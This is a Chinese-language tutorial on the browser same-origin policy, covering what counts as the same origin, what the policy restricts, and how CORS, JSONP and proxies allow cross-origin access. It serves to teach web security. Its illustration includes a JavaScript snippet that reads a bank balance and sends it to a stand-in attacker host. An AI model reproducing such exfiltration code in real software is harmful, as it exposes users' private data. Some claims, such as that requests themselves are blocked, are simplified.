你有没有遇到过这种报错?
你在本地开发一个前端页面,想调用公司API服务器的接口。
代码写得漂漂亮亮,一跑起来,浏览器直接抛出一个红色错误:
“Access-Control-Allow-Origin” 跨域报错。
你一脸懵:明明前后端代码都没问题,为什么浏览器就是不让我调接口?
这时候,你需要知道一个概念:同源策略。
同源策略是什么?
同源策略(Same-Origin Policy,简称SOP)是浏览器最基础的安全机制。
它的核心规则很简单:只有同源的资源,才能互相访问。
那什么叫"同源"?
同一个源,意味着三个条件必须同时满足:
- 协议相同:都是 https://,或者都是 http://
- 域名相同:都是 www.example.com
- 端口相同:都是 80 端口
三个条件,一个都不能少。
举个例子:
https://www.example.com/api✅ 同源https://www.example.com:8080/api❌ 端口不同,不同源http://www.example.com/api❌ 协议不同,不同源https://api.example.com/api❌ 域名不同,不同源https://other-site.com/api❌ 完全另一个网站,不同源
你可以把同源策略想象成小区的门禁系统。
你和你的邻居住在同一个小区(同源),可以自由串门。但如果你想进入隔壁小区(不同源),门卫会拦住你——除非隔壁小区给你发了通行证。
这就是浏览器保护用户安全的方式:不让一个网站的脚本,随意读取另一个网站的数据。
为什么需要同源策略?
没有同源策略,互联网会变成什么样?
想象一下这个场景:
你在银行网站登录了账户,准备查余额。
同时,你在另一个标签页打开了一个恶意网站。这个网站里有一段JavaScript代码:
// 恶意网站偷偷访问你的银行
fetch('https://bank.example.com/api/balance')
.then(res => res.json())
.then(data => {
// 把你的余额发到黑客服务器
fetch('https://hacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
如果没有同源策略,这段代码会成功执行。黑客可以直接读取你在银行网站的账户信息。
但有了同源策略,浏览器会直接拦截这个请求。恶意网站尝试读取银行数据时,浏览器会说:
“你俩不同源,访问被拒绝。”
这就是同源策略存在的意义:防止恶意网站窃取你在其他网站上的敏感数据。
同源策略管什么?
同源策略主要限制以下三种行为:
1. Cookie 和 LocalStorage 访问
A网站不能读取B网站的Cookie。这意味着你在淘宝登录了,京东不能读取你的淘宝登录状态。
2. AJAX 请求
A网站不能向B网站的API发送请求。这就是前面提到的跨域报错的来源。
3. DOM 访问
A网站的iframe嵌入B网站页面,A网站不能操作B网站页面的DOM元素。
跨域了怎么办?
既然同源策略限制这么多,那不同源的网站之间怎么通信?
有三种常见方案:
方案一:CORS——最主流的跨域方式
CORS(Cross-Origin Resource Sharing,跨域资源共享)是浏览器提供的标准跨域方案。
后端在响应头里加一行:
Access-Control-Allow-Origin: https://your-frontend.com
这就相当于隔壁小区给你发了通行证。浏览器看到这行头,就允许你的前端访问接口了。
注意: 这个值可以是具体域名,也可以是 *(允许所有来源)。但如果是 *,浏览器会禁止携带Cookie,所以生产环境建议写具体域名。
方案二:JSONP——老派的跨域方案
JSONP利用<script>标签不受同源策略限制的特性,实现跨域数据获取。
前端在页面里动态插入一个script标签:
<script src="https://api.example.com/data?callback=handleData"></script>
后端返回的不是纯JSON,而是JavaScript代码:
handleData({"name": "张三", "age": 25});
浏览器执行这段代码,数据就传回来了。
缺点: 只支持GET请求,安全性不如CORS,现在用得越来越少。
方案三:代理——最简单粗暴
前端不直接请求API,而是请求自己的服务器,让服务器去转发。
浏览器 → 前端服务器 → API服务器
(同源) (不同源)
前端和前端服务器同源,不存在跨域问题。前端服务器作为代理转发请求到API服务器,然后返回结果给浏览器。
很多开发环境都会用这种方式,比如Vite、Webpack的devServer配置。
同源策略的例外情况
有些资源不受同源策略限制,可以直接跨域访问:
<img>标签:加载图片不受限制,这也是为什么很多网站能用<img>标签防盗链<script>标签:加载外部JS文件不受限制(但执行后的数据访问受限)<link>标签:加载CSS文件不受限制<frame>/<iframe>标签:嵌入页面不受限制(但JS访问受限)
总结一下
同源策略是浏览器安全的基石,它的基本原则是:不同源的资源不能互相访问。
- 同源的判断标准:协议 + 域名 + 端口,三者必须完全一致
- 限制的范围:Cookie、AJAX请求、DOM访问
- 跨域的解决方案:CORS(推荐)、JSONP(过时)、代理(开发常用)
理解了同源策略,你就能看懂那些跨域报错,也知道怎么让前后端正常通信了。
下次再遇到"Access-Control-Allow-Origin"的错误,你不会慌了——你知道,这是浏览器在保护你。